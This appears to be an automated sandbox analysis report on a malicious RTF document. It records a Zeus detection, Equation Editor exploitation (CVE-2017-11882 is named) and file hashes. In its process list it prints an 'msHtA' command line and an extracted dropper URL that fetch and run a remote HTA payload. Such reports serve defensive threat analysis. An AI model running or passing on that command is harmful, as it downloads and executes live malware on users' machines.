Analysis

  • max time kernel
    132s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    12/05/2024, 01:05

General

  • Target
    37728ad566f26ac6a80669815c5efb26_JaffaCakes118.rtf
  • Size 9KB
  • Sample240512-bfk5eahb4v
  • SHA256 c475ff6fd80823c81d4d2bf90018ba7a7300a97b9403287798ee4b50d3f410ce
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://bit.ly/2EOwyuL

Signatures

  • Zeus
  • Blocklisted process makes network request 10 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\37728ad566f26ac6a80669815c5efb26_JaffaCakes118.rtf"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2320
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1264
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:2148
      • C:\Windows\SysWOW64\msHtA.exe
        msHtA http://bit.ly/2EOwyuL &AAAAAAAAAAAAAAA C
        2⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:2156

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          CabD8A.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\CabD8A.tmp
          • Size 68KB
          • SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
          • MD5 SHA1 SHA512 SSDEEP

          TarD9D.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\TarD9D.tmp
          • Size 177KB
          • SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
          • MD5 SHA1 SHA512 SSDEEP

          Normal.dotm

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
          • Size 20KB
          • SHA256 f8440982b9b684803aa940ddf4b4883af26c9b7cf25dda21dfe493c7d1262451
          • MD5 SHA1 SHA512 SSDEEP

          memory/2320-0-0x000000002FFC1000-0x000000002FFC2000-memory.dmp

          memory/2320-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/2320-2-0x0000000070D9D000-0x0000000070DA8000-memory.dmp

          memory/2320-478-0x0000000070D9D000-0x0000000070DA8000-memory.dmp

          memory/2320-569-0x000000005FFF0000-0x0000000060000000-memory.dmp